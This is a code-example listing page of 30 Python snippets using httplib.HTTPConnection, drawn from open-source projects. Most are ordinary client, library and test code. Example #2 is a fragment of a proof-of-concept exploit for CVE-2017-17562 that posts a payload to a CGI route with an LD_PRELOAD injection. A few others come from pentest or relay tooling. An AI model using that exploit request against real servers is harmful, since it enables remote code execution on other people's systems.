Python httplib.HTTPConnection() Examples

The following are 30 code examples of httplib.HTTPConnection(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module httplib , or try the search function .
Example #1
Source File: dev_appserver_multiprocess.py    From browserscope with Apache License 2.0 6 votes vote down vote up
def __init__(self,
               request,
               client_address,
               connection_handler=httplib.HTTPConnection):
    """Constructor extending BaseHTTPRequestHandler.

    Args:
      request: The incoming request.
      client_address: A (ip, port) tuple with the address of the client.
      backend: The HTTPServer that received the request.
      connection_handler: http library to use when balancer the connection to
        the next available backend instance. Used for dependency injection.
    """
    self.connection_handler = connection_handler
    BaseHTTPServer.BaseHTTPRequestHandler.__init__(self,
                                                   request,
                                                   client_address,
                                                   HttpServer()) 
Example #2
Source File: CVE-2017-17562.py    From PoC-Bank with MIT License 6 votes vote down vote up
def run(self):
        '''
        run PoC
        '''
        _url = '/cgi-bin/' +  self.cgiroute + '?LD_PRELOAD=/proc/self/fd/0'
        _payload_data = self._loadBinarypayload()
        
        headers = {"Host": self.server,
                    "User-Agent": "curl/7.51.0",
                    "Accept": "*/*",
                    "Content-Length": str(len(_payload_data))}
        conn = httplib.HTTPConnection(self.server, self.port)
        conn.connect()
        conn.request("POST", _url, _payload_data, headers)

        try:
            res = conn.getresponse()
            self._verify(res)
        except Exception as e:
            print(">>> error encountered! {}".format(str(e)))
        
        conn.close() 
Example #3
Source File: __init__.py    From misp42splunk with GNU Lesser General Public License v3.0 6 votes vote down vote up
def __init__(
        self,
        host,
        port=None,
        key_file=None,
        cert_file=None,
        strict=None,
        timeout=None,
        proxy_info=None,
        ca_certs=None,
        disable_ssl_certificate_validation=False,
        ssl_version=None,
    ):
        httplib.HTTPConnection.__init__(
            self, host, port=port, strict=strict, timeout=timeout
        ) 
Example #4
Source File: socket_server.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def sspi_client():
    c = httplib.HTTPConnection("localhost", options.port)
    c.connect()
    # Do the auth dance.
    ca = sspi.ClientAuth(options.package, targetspn=options.target_spn)
    data = None
    while 1:
        err, out_buf = ca.authorize(data)
        _send_msg(c.sock, out_buf[0].Buffer)
        if err==0:
            break
        data = _get_msg(c.sock)
    print "Auth dance complete - sending a few encryted messages"
    # Assume out data is sensitive - encrypt the message.
    for data in "Hello from the client".split():
        blob, key = ca.encrypt(data)
        _send_msg(c.sock, blob)
        _send_msg(c.sock, key)
    c.sock.close()
    print "Client completed." 
Example #5
Source File: experiment.py    From c2s with MIT License 6 votes vote down vote up
def status(self, status, **kwargs):
        if self.server:
            try:
                conn = HTTPConnection(self.server, self.port)
                conn.request('GET', '/version/')
                resp = conn.getresponse()

                if not resp.read().startswith('Experiment'):
                    raise RuntimeError()

                HTTPConnection(self.server, self.port).request('POST', '', str(dict({
                    'id': self.id,
                    'version': __version__,
                    'status': status,
                    'hostname': self.hostname,
                    'cwd': self.cwd,
                    'script_path': self.script_path,
                    'script': self.script,
                    'comment': self.comment,
                    'time': self.time,
                }, **kwargs)))
            except:
                warn('Unable to connect to \'{0}:{1}\'.'.format(self.server, self.port)) 
Example #6
Source File: httprelayclient.py    From CVE-2017-7494 with GNU General Public License v3.0 6 votes vote down vote up
def __init__(self, target):
        # Target comes as protocol://target:port/path
        self.target = target
        proto, host, path = target.split(':')
        host = host[2:]
        self.path = '/' + path.split('/', 1)[1]
        if proto.lower() == 'https':
            #Create unverified (insecure) context
            try:
                uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
                self.session = HTTPSConnection(host,context=uv_context)
            except AttributeError:
                #This does not exist on python < 2.7.11
                self.session = HTTPSConnection(host)
        else:
            self.session = HTTPConnection(host)
        self.lastresult = None 
Example #7
Source File: http_runtime_test.py    From browserscope with Apache License 2.0 6 votes vote down vote up
def test_start_and_not_serving(self):
    safe_subprocess.start_process(
        ['/runtime'],
        base64.b64encode(self.runtime_config.SerializeToString()),
        stdout=subprocess.PIPE,
        env={'foo': 'bar'},
        cwd=self.tmpdir).AndReturn(self.process)
    self.process.stdout.readline().AndReturn('34567')

    httplib.HTTPConnection.connect().AndRaise(socket.error)
    httplib.HTTPConnection.close()
    shutdown.async_quit()

    self.mox.ReplayAll()
    self.proxy.start()
    self.mox.VerifyAll() 
Example #8
Source File: selenium.py    From browserscope with Apache License 2.0 6 votes vote down vote up
def do_command(self, verb, args):
        conn = httplib.HTTPConnection(self.host, self.port)
        body = u'cmd=' + urllib.quote_plus(unicode(verb).encode('utf-8'))
        for i in range(len(args)):
            body += '&' + unicode(i+1) + '=' + urllib.quote_plus(unicode(args[i]).encode('utf-8'))
        if (None != self.sessionId):
            body += "&sessionId=" + unicode(self.sessionId)
        headers = {"Content-Type": "application/x-www-form-urlencoded; charset=utf-8"}
        conn.request("POST", "/selenium-server/driver/", body, headers)
    
        response = conn.getresponse()
        #print response.status, response.reason
        data = unicode(response.read(), "UTF-8")
        result = response.reason
        #print "Selenium Result: " + repr(data) + "\n\n"
        if (not data.startswith('OK')):
            raise Exception, data
        return data 
Example #9
Source File: xmlrpclib.py    From meddle with MIT License 6 votes vote down vote up
def make_connection(self, host):
        #return an existing connection if possible.  This allows
        #HTTP/1.1 keep-alive.
        if self._connection and host == self._connection[0]:
            return self._connection[1]

        # create a HTTP connection object from a host descriptor
        chost, self._extra_headers, x509 = self.get_host_info(host)
        #store the host argument along with the connection object
        self._connection = host, httplib.HTTPConnection(chost)
        return self._connection[1]

    ##
    # Clear any cached connection object.
    # Used in the event of socket errors.
    # 
Example #10
Source File: test_httplib.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def test_ipv6host_header(self):
        # Default host header on IPv6 transaction should be wrapped by [] if
        # it is an IPv6 address
        expected = 'GET /foo HTTP/1.1\r\nHost: [2001::]:81\r\n' \
                   'Accept-Encoding: identity\r\n\r\n'
        conn = httplib.HTTPConnection('[2001::]:81')
        sock = FakeSocket('')
        conn.sock = sock
        conn.request('GET', '/foo')
        self.assertTrue(sock.data.startswith(expected))

        expected = 'GET /foo HTTP/1.1\r\nHost: [2001:102A::]\r\n' \
                   'Accept-Encoding: identity\r\n\r\n'
        conn = httplib.HTTPConnection('[2001:102A::]')
        sock = FakeSocket('')
        conn.sock = sock
        conn.request('GET', '/foo')
        self.assertTrue(sock.data.startswith(expected)) 
Example #11
Source File: scan_httpserverversion.py    From apt2 with MIT License 6 votes vote down vote up
def processTarget(self, t, port):
        if not self.seentarget(t + str(port)):
            self.addseentarget(t + str(port))
            self.display.verbose(self.shortName + " - Connecting to " + t)
            try:
                conn = httplib.HTTPConnection(t, port, timeout=10)

                conn.request('GET', '/')
                response = conn.getresponse()
                serverver = response.getheader('server')
                if (serverver):
                    outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + str(
                        port) + "_" + Utils.getRandStr(10)
                    Utils.writeFile("Identified Server Version of %s : %s\n\nFull Headers:\n%s" % (
                        t, serverver, self.print_dict(response.getheaders())), outfile)
                    kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))

            except httplib.BadStatusLine:
                pass
            # except socket.error as e:
            except:
                pass 
Example #12
Source File: Torrent_ip_checker.py    From FunUtils with MIT License 6 votes vote down vote up
def work(IP):
		conn = httplib.HTTPConnection("www.iknowwhatyoudownload.com/en/peer/?ip="+IP)
		conn.request("GET","/")
		response = conn.getresponse()
		data =response.read()
		soup = BS(data,"html.parser")
		table = soup.find('tbody')
		rows = table.findAll('tr')
		for tr in rows:
			cols = tr.findAll('td')
			Begin,End,Category,title,size=[c.text for c in cols]
			RESULT+="\n"+Begin+" "+Category+" "+title+" "+size
		toplevel = Toplevel()
		label= Label(toplevel,text=RESULT,height=0,width=100)
		label.pack()
		print RESULT 
Example #13
Source File: TOR.py    From Some-Examples-of-Simple-Python-Script with GNU Affero General Public License v3.0 6 votes vote down vote up
def main(self):
        os.system('sudo service tor restart')
        _TOR()._connectTOR()
        
        print " * Connected to TOR..."
        time.sleep(1)
        print " * Please wait.. now checking your IP..."
        
        conn = httplib.HTTPConnection(self.ip)
        conn.request("GET", "/")
        response = conn.getresponse()
        #print response.status, response.reason
        #print (response.read())
        
        f =  urllib2.urlopen("http://"+self.ip)
        print f.read()

        _TOR()._newIdentity()

        conn = httplib.HTTPConnection(self.ip)
        conn.request("GET", "/")
        response = conn.getresponse()
        #print response.status, response.reason
        print (response.read()) 
Example #14
Source File: xmlrpclib.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def make_connection(self, host):
        #return an existing connection if possible.  This allows
        #HTTP/1.1 keep-alive.
        if self._connection and host == self._connection[0]:
            return self._connection[1]

        # create a HTTP connection object from a host descriptor
        chost, self._extra_headers, x509 = self.get_host_info(host)
        #store the host argument along with the connection object
        self._connection = host, httplib.HTTPConnection(chost)
        return self._connection[1]

    ##
    # Clear any cached connection object.
    # Used in the event of socket errors.
    # 
Example #15
Source File: http_runtime_test.py    From browserscope with Apache License 2.0 6 votes vote down vote up
def test_connection_error(self):
    self.proxy = http_runtime.HttpRuntimeProxy(
        ['/runtime'], self.runtime_config_getter, appinfo.AppInfoExternal())
    self.proxy._process = self.mox.CreateMockAnything()
    login.get_user_info(None).AndReturn(('', False, ''))
    httplib.HTTPConnection.connect().AndRaise(socket.error())
    self.proxy._process.poll().AndReturn(None)
    httplib.HTTPConnection.close()

    self.mox.ReplayAll()
    self.assertRaises(socket.error,
                      self.proxy.handle(
                          {'PATH_INFO': '/'},
                          start_response=None,  # Not used.
                          url_map=self.url_map,
                          match=re.match(self.url_map.url, '/get%20error'),
                          request_id='request id',
                          request_type=instance.NORMAL_REQUEST).next)
    self.mox.VerifyAll() 
Example #16
Source File: test_httplib.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def test_proxy_tunnel_without_status_line(self):
        # Issue 17849: If a proxy tunnel is created that does not return
        # a status code, fail.
        body = 'hello world'
        conn = httplib.HTTPConnection('example.com', strict=False)
        conn.set_tunnel('foo')
        conn.sock = FakeSocket(body)
        with self.assertRaisesRegexp(socket.error, "Invalid response"):
            conn._tunnel() 
Example #17
Source File: test_httplib.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def test_error_leak(self):
        # Test that the socket is not leaked if getresponse() fails
        conn = httplib.HTTPConnection('example.com')
        response = []
        class Response(httplib.HTTPResponse):
            def __init__(self, *pos, **kw):
                response.append(self)  # Avoid garbage collector closing the socket
                httplib.HTTPResponse.__init__(self, *pos, **kw)
        conn.response_class = Response
        conn.sock = FakeSocket('')  # Emulate server dropping connection
        conn.request('GET', '/')
        self.assertRaises(httplib.BadStatusLine, conn.getresponse)
        self.assertTrue(response)
        #self.assertTrue(response[0].closed)
        self.assertTrue(conn.sock.file_closed) 
Example #18
Source File: sockshandler.py    From faces with GNU General Public License v2.0 5 votes vote down vote up
def __init__(self, proxytype, proxyaddr, proxyport=None, rdns=True, username=None, password=None, *args, **kwargs):
        self.proxyargs = (proxytype, proxyaddr, proxyport, rdns, username, password)
        httplib.HTTPConnection.__init__(self, *args, **kwargs) 
Example #19
Source File: urllib2.py    From GDCTSCP with GNU Affero General Public License v3.0 5 votes vote down vote up
def http_open(self, req):
        return self.do_open(httplib.HTTPConnection, req) 
Example #20
Source File: __init__.py    From faces with GNU General Public License v2.0 5 votes vote down vote up
def __init__(self, host, port=None, key_file=None, cert_file=None,
                 strict=None, timeout=None, proxy_info=None, ca_certs=None,
                 disable_ssl_certificate_validation=False,
                 ssl_version=None):
        httplib.HTTPConnection.__init__(self, host, port=port,
                                        strict=strict, timeout=timeout) 
Example #21
Source File: __init__.py    From faces with GNU General Public License v2.0 5 votes vote down vote up
def __init__(self, host, port=None, strict=None, timeout=None, proxy_info=None):
        httplib.HTTPConnection.__init__(self, host, port, strict)
        self.timeout = timeout
        self.proxy_info = proxy_info 
Example #22
Source File: urllib2.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def http_open(self, req):
        return self.do_open(httplib.HTTPConnection, req) 
Example #23
Source File: test_httplib.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def test_epipe(self):
        sock = EPipeSocket(
            "HTTP/1.0 401 Authorization Required\r\n"
            "Content-type: text/html\r\n"
            "WWW-Authenticate: Basic realm=\"example\"\r\n",
            b"Content-Length")
        conn = httplib.HTTPConnection("example.com")
        conn.sock = sock
        self.assertRaises(socket.error,
                          lambda: conn.request("PUT", "/url", "body"))
        resp = conn.getresponse()
        self.assertEqual(401, resp.status)
        self.assertEqual("Basic realm=\"example\"",
                         resp.getheader("www-authenticate")) 
Example #24
Source File: test_httplib.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def test_send_tempfile(self):
        expected = ('GET /foo HTTP/1.1\r\nHost: example.com\r\n'
                    'Accept-Encoding: identity\r\nContent-Length: 9\r\n\r\n'
                    'fake\ndata')

        with tempfile.TemporaryFile() as body:
            body.write('fake\ndata')
            body.seek(0)

            conn = httplib.HTTPConnection('example.com')
            sock = FakeSocket(body)
            conn.sock = sock
            conn.request('GET', '/foo', body)
        self.assertEqual(sock.data, expected) 
Example #25
Source File: test_httplib.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def test_send_file(self):
        expected = 'GET /foo HTTP/1.1\r\nHost: example.com\r\n' \
                   'Accept-Encoding: identity\r\nContent-Length:'

        body = open(__file__, 'rb')
        conn = httplib.HTTPConnection('example.com')
        sock = FakeSocket(body)
        conn.sock = sock
        conn.request('GET', '/foo', body)
        self.assertTrue(sock.data.startswith(expected))
        self.assertIn('def test_send_file', sock.data) 
Example #26
Source File: test_httplib.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def test_invalid_headers(self):
        conn = httplib.HTTPConnection('example.com')
        conn.sock = FakeSocket('')
        conn.putrequest('GET', '/')

        # http://tools.ietf.org/html/rfc7230#section-3.2.4, whitespace is no
        # longer allowed in header names
        cases = (
            (b'Invalid\r\nName', b'ValidValue'),
            (b'Invalid\rName', b'ValidValue'),
            (b'Invalid\nName', b'ValidValue'),
            (b'\r\nInvalidName', b'ValidValue'),
            (b'\rInvalidName', b'ValidValue'),
            (b'\nInvalidName', b'ValidValue'),
            (b' InvalidName', b'ValidValue'),
            (b'\tInvalidName', b'ValidValue'),
            (b'Invalid:Name', b'ValidValue'),
            (b':InvalidName', b'ValidValue'),
            (b'ValidName', b'Invalid\r\nValue'),
            (b'ValidName', b'Invalid\rValue'),
            (b'ValidName', b'Invalid\nValue'),
            (b'ValidName', b'InvalidValue\r\n'),
            (b'ValidName', b'InvalidValue\r'),
            (b'ValidName', b'InvalidValue\n'),
        )
        for name, value in cases:
            with self.assertRaisesRegexp(ValueError, 'Invalid header'):
                conn.putheader(name, value) 
Example #27
Source File: test_httplib.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def test_putheader(self):
        conn = httplib.HTTPConnection('example.com')
        conn.sock = FakeSocket(None)
        conn.putrequest('GET','/')
        conn.putheader('Content-length',42)
        self.assertIn('Content-length: 42', conn._buffer)

        conn.putheader('Foo', ' bar ')
        self.assertIn(b'Foo:  bar ', conn._buffer)
        conn.putheader('Bar', '\tbaz\t')
        self.assertIn(b'Bar: \tbaz\t', conn._buffer)
        conn.putheader('Authorization', 'Bearer mytoken')
        self.assertIn(b'Authorization: Bearer mytoken', conn._buffer)
        conn.putheader('IterHeader', 'IterA', 'IterB')
        self.assertIn(b'IterHeader: IterA\r\n\tIterB', conn._buffer)
        conn.putheader('LatinHeader', b'\xFF')
        self.assertIn(b'LatinHeader: \xFF', conn._buffer)
        conn.putheader('Utf8Header', b'\xc3\x80')
        self.assertIn(b'Utf8Header: \xc3\x80', conn._buffer)
        conn.putheader('C1-Control', b'next\x85line')
        self.assertIn(b'C1-Control: next\x85line', conn._buffer)
        conn.putheader('Embedded-Fold-Space', 'is\r\n allowed')
        self.assertIn(b'Embedded-Fold-Space: is\r\n allowed', conn._buffer)
        conn.putheader('Embedded-Fold-Tab', 'is\r\n\tallowed')
        self.assertIn(b'Embedded-Fold-Tab: is\r\n\tallowed', conn._buffer)
        conn.putheader('Key Space', 'value')
        self.assertIn(b'Key Space: value', conn._buffer)
        conn.putheader('KeySpace ', 'value')
        self.assertIn(b'KeySpace : value', conn._buffer)
        conn.putheader(b'Nonbreak\xa0Space', 'value')
        self.assertIn(b'Nonbreak\xa0Space: value', conn._buffer)
        conn.putheader(b'\xa0NonbreakSpace', 'value')
        self.assertIn(b'\xa0NonbreakSpace: value', conn._buffer) 
Example #28
Source File: test_urllib.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def fakehttp(self, fakedata):
        assert httplib.HTTP._connection_class == httplib.HTTPConnection

        httplib.HTTP._connection_class = fakehttp(fakedata) 
Example #29
Source File: test_urllib.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def fakehttp(fakedata):
    class FakeSocket(io.BytesIO):

        def sendall(self, data):
            FakeHTTPConnection.buf = data

        def makefile(self, *args, **kwds):
            return self

        def read(self, amt=None):
            if self.closed:
                return b""
            return io.BytesIO.read(self, amt)

        def readline(self, length=None):
            if self.closed:
                return b""
            return io.BytesIO.readline(self, length)

    class FakeHTTPConnection(httplib.HTTPConnection):

        # buffer to store data for verification in urlopen tests.
        buf = ""

        def connect(self):
            self.sock = FakeSocket(self.fakedata)
            self.__class__.fakesock = self.sock
    FakeHTTPConnection.fakedata = fakedata

    return FakeHTTPConnection 
Example #30
Source File: client.py    From pledgeservice with Apache License 2.0 5 votes vote down vote up
def _timeout_supported(self, ConnClass):
        if sys.version_info < (2, 7) and ConnClass in (
            httplib.HTTPConnection, httplib.HTTPSConnection): # pragma: no cover
            return False
        return True